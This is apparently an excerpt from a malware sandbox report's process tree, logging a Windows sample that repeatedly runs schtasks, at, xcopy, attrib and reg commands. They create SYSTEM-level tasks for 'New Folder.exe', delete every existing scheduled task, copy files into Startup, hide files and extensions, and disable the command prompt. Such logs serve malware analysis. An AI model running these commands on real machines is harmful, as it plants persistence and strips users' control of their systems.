-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:4504
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1148
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3888
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3680
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4084
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2408
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:5040
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3804
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:876
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:5108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4908
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1212
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3908
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4340
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1128
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4696
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1452
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4500
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:2668
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1840
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4740
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4572
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4148
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4680
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:948
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3740
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1508
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1488
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3148
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1244
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3144
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2484
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3764
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4264
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:1932
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4908
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4988
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:800
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1676
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:1908
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4188
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4680
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4844
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2624
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3368
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Views/modifies file attributes
PID:3512
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1152
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3444
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4948
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4300
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3764
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:5040
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4280
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4988
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2780
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4148
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:4572
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:1984
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1716
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2664
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2700
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2936
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:3368
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4048
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4792
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4300
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1108
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2524
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3640
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1148
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:2736
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3084
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:464
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3928
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:5012
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3764
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4584
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:3092
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2828
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3348
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1872
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1416
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:328
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:608
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3756
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:3380
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2108
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:3324
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1780
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1500
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4504
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1452
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4204
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4584
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4740
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3076
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2136
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2252
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:436
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2904
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:5040
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:744
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3656
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2700
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4088
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3960
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:2408
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3144
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1108
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:5100
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:736
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4352
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3076
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2168
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4740
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3764
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4280
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:3780
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3888
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3324
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2928
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3600
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4896
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4140
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2956
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1088
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3764
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3180
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4656
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1012
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:1416
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2524
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3620
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:1528
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4696
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4516
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2860
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1972
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4768
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:3740
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:2624
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2688
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3804
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:2240
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4264
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1676
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:392
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4340
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2500
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1528
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:856
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵
- Creates scheduled task(s)
PID:2120
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:2192
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4472
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2624
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3600
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4768
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:4736
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1588
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵
- Creates scheduled task(s)
PID:2240
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3856
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4572
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4548
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:328
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:400
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3908
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:884
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1416
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4376
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4972
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:3888
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3636
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4684
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1148
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:756
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1348
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2120
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2088
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3680
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4800
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:664
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4116
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3448
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:3928
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:752
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3472
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:4676
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4284
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4976
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2868
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4504
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2064
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2448
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4964
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4892
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3180
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:1012
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4260
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4656
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3860
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3468
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1124
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:3860
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1836
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3388
-
-
